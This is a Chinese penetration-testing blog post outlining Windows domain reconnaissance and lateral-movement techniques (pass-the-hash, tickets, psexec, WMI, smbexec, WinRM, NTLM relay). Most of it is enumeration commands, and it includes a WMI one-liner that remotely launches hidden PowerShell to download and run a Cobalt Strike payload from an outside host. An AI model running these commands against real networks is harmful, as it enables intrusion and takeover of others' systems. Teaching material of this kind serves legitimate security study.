域内常用的操作精简版
2022-1-23 12:41:38 Author: www.freebuf.com(查看原文) 阅读量:24 收藏

author: cmrex


一.术语

域环境

  • 单域

    顾名思义,一个域,通常存在于一个小公司(一个域控DC,一个备份机),活动目录的数据库存储在域控制器(必须的!)

  • 域森林

    多个域合在一起,域树建立信任的关系的集合。例如多个子公司在一起。

  • 域树

    一个根域内,许多的子域。

域名服务器DNS

  • 因为在内网中,是无法外联的,所以无法访问外部的域名服务器。这个时候每个域内的主机需要互相访问,记录ip很复杂,将域名和ip一一对应也是很复杂的。所以我们安装dns域名服务器在内网。DNS服务器一般和域控在一台服务器上。

DC

  • domain controller:域控制器。俗称域控,也是渗透的目标之一。

AD

  • 活动目录,Active Directory,集中管理统一平台。活动目录内的数据存储在不同的域内,每一个域存储自己的数据。

Ntdsutil.exe-ntdsutil.exe

  • 域控制器自带的数据库管理工具

NTDS.dit

  • 域账号存储在活动目录中,以数据库的形式。

二.命令

从攻击者的思路来看,我们刚开始获取到一个shell的时候,第一步,我们需要信息收集。定位自己是谁?自己所处于什么样的环境?自己的目标以及自己和别的设备的联系。

横向的目的

  • 工作组:尽可能多的控制机器

  • 域环境:获取DC的权限(在这个过程中,我们需要不断地控制机器,抓hash也好,利用协议横向也好,利用漏洞,都是途径)

一.判断域内外及用户

我们首先要判断我们是在域内还是在域外,我们是否拿到一台域内的机器,或者是域外的机器。

image-20220123102112523

首先这张图,我们可以看见

whoami

出示了我们是谁,但仅仅这个我们不能判断我们是不是在域环境内。因为那个cmrex是这台计算机的名称,后面administrator是用户名

net user

这个是显示本地用户有哪些

我们看到了本地也有administrator,可能administrator是本地用户。

net user /domain

这条命令展示了域内的用户都有谁,如果没有域则会显示这个:

image-20220123102916768

判断是否在域内还可以用这几条命令:

net time /domain

image-20220123103040672

image-20220123103049964

query user || qwinsta

查询当前登录的用户有哪些

image-20220123103847454

net localgroup administrators && whoami

查询当前是否是管理组

image-20220123112225629

二.判断有几个域及情况

systeminfo | findstr "域"

查找是否存在域,结果发现确实存在域

image-20220123105546901

net view /domain

确定了在域内查看有几个域

image-20220123104236909

net group /domain

查看域内的用户组

image-20220123104409683

net config workstation

登陆域,计算机名,显示的信息比较多,当前我们计算机名:pcroot.hack.club,我们的域是hack.club,我们域内的用户是user1

image-20220123104822843

net group "domain admins" /domain

查看域管

image-20220123104521399

net group "domain controllers" /domain

域控,有一个域控

image-20220123104709067

三.定位域控

1.命令快速定位

net time

我们发现DC:dc.hack.club

image-20220123105221685

nslookup dc.hack.club

获得了DC的ip

image-20220123105351111

nslookup -type=SRV _ldap._tcp

SRV记录是DNS服务器的数据库中支持的一种资源记录的类型,它记录了哪台计算机提供了哪个服务这么一个简单的信息 SRV 记录。限制:DNS服务器必须支持服务定位(SRV)资源记录

image-20220123105633565

nltest /dclist:hack.club

查看域控

image-20220123112340454

2.工具定位

  • PSloggedon.exe

    https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

    需要有管理员权限

    PSloggedon.exe \root
  • powerView.ps1

    https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

    ps脚本收集

    powershell.exe -exec bypass -Command “& {Import-Module C:\Users\win7\Desktop\tool\PowerView.ps1; Invoke-UserEvenHunter}”

3.端口发现

389:ldap
636:ldaps
53:dns
域控一般会开启这些端口
但是动静很大, 不建议

四.网络情况主机发现

1.命令

ipconfig

我们发现这个是双网卡,一个连接外网,一个连接内网,内外网卡和域控是一个网段

image-20220123111630493

arp -a

查询内网协议arp,跟某些机器互通

image-20220123111735875

netstat -ano

查看连接情况

image-20220123111851060

net session

查看连接情况

for /l %i in (1,1,255) do @ping 100.100.100.%i -w 1 -n 1|find /i "ttl="

ping协议

image-20220123112735388

2.工具

fscan -h 100.100.100.1/24

ps扫描:单ip多端口

440..450 | % {echo ((new-object Net.Sockets.TcpClient).Connect("100.100.100.101",$_)) "Port $_ is open!"} 2>$null

某ip段单个端口

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 100.100.100.$ip}

基于msf的域控发现:

run post/windows/gather/enum_domain

三.横向移动方法简述

1.PTH 、PTT、PTK攻击

主要关注什么情况下可以成功,哈希传递受什么限制,补丁KB2871997对pth影响,本地管理组非rid500的用户pth无法成功的原因(UAC?)

2.白银黄金票据

利用条件,防御方式,使用工具

3.windows token 令牌

假冒令牌:冒充别人的身份进行操作,如果冒充了administrator就可以权限提升。

待续

4.IPC横向移动

IPC,计划任务上线,远程文件下载,文件共享

5.RDP登录,hash,爆破,记录

3389远程登录,抓取hash,使用hash登录等,爆破远程登录rdp,注册表开启rdp登录

6.Psexec进行横向渗透

Psexec远程命令执行,使用PsExec执行远程命令,需要开启Admin$共享,可注册表开启,

psexec \\hostIp -u [username] -p [password] cmd

7.WMI横向移动

wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\""

//上线cs

也是远程命令执行的一种,WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

8.smbexec进行横向渗透

smbexec 可以通过文件共享(admin,c,ipc,d)在远程系统中执行命令,依赖于445端口。

./smbexec.py xie/[email protected] -hashes HASH

9.DCOM在远程系统执行命令

  1. 管理员权限的powershell

  2. 客户端关闭防火墙

  3. 服务端需要域管的administrator账户或者目标主机具有管理员权限的账户

  4. 双方主机都需有MMC Application Class这个DCOM组件。

10.SPN在域环境中的利用

在内部网络中,SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端、交换机、微软SQL等,并隐藏他们。此外,SPN的识别也是kerberoasting攻击的第一步。

11.xchange邮件服务器渗透

Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。

12.winrm横向移动

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的 服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令 行shell,而底层通讯协议使用的是HTTP。

winrm可以远程命令执行。

  1. 目标机器开启winrm服务

  2. 目标机器是win server,windows主机不行

  3. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)

  4. 组合HTTP.sys驱动自带的端口复用功能

  5. 必须要知道明文密码(也可以使用hash传递)

13.ntlm rely

ntlm重放攻击,阶段hash,从而对其他机器进行控制。需要学习windows本地认证和ntlm认证。一般存在一些认证服务的时候,都可以尝试使用ntlm relay攻击。

14.LDAP渗透

可以使用DC的ip,域内用户登录。LDAP注入等。

15.约束,非约束委派攻击

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,接受委派的用户只能是服务账户或者计算机用户。票据相关的攻击方法。

四.小结

进入内网,判断自我所处的环境,查询网络用户,定位域控等信息,也可以些脚本自动化运行,思路很多,需要灵活应变。


文章来源: https://www.freebuf.com/articles/web/320609.html
如有侵权请联系:admin#unsafe.sh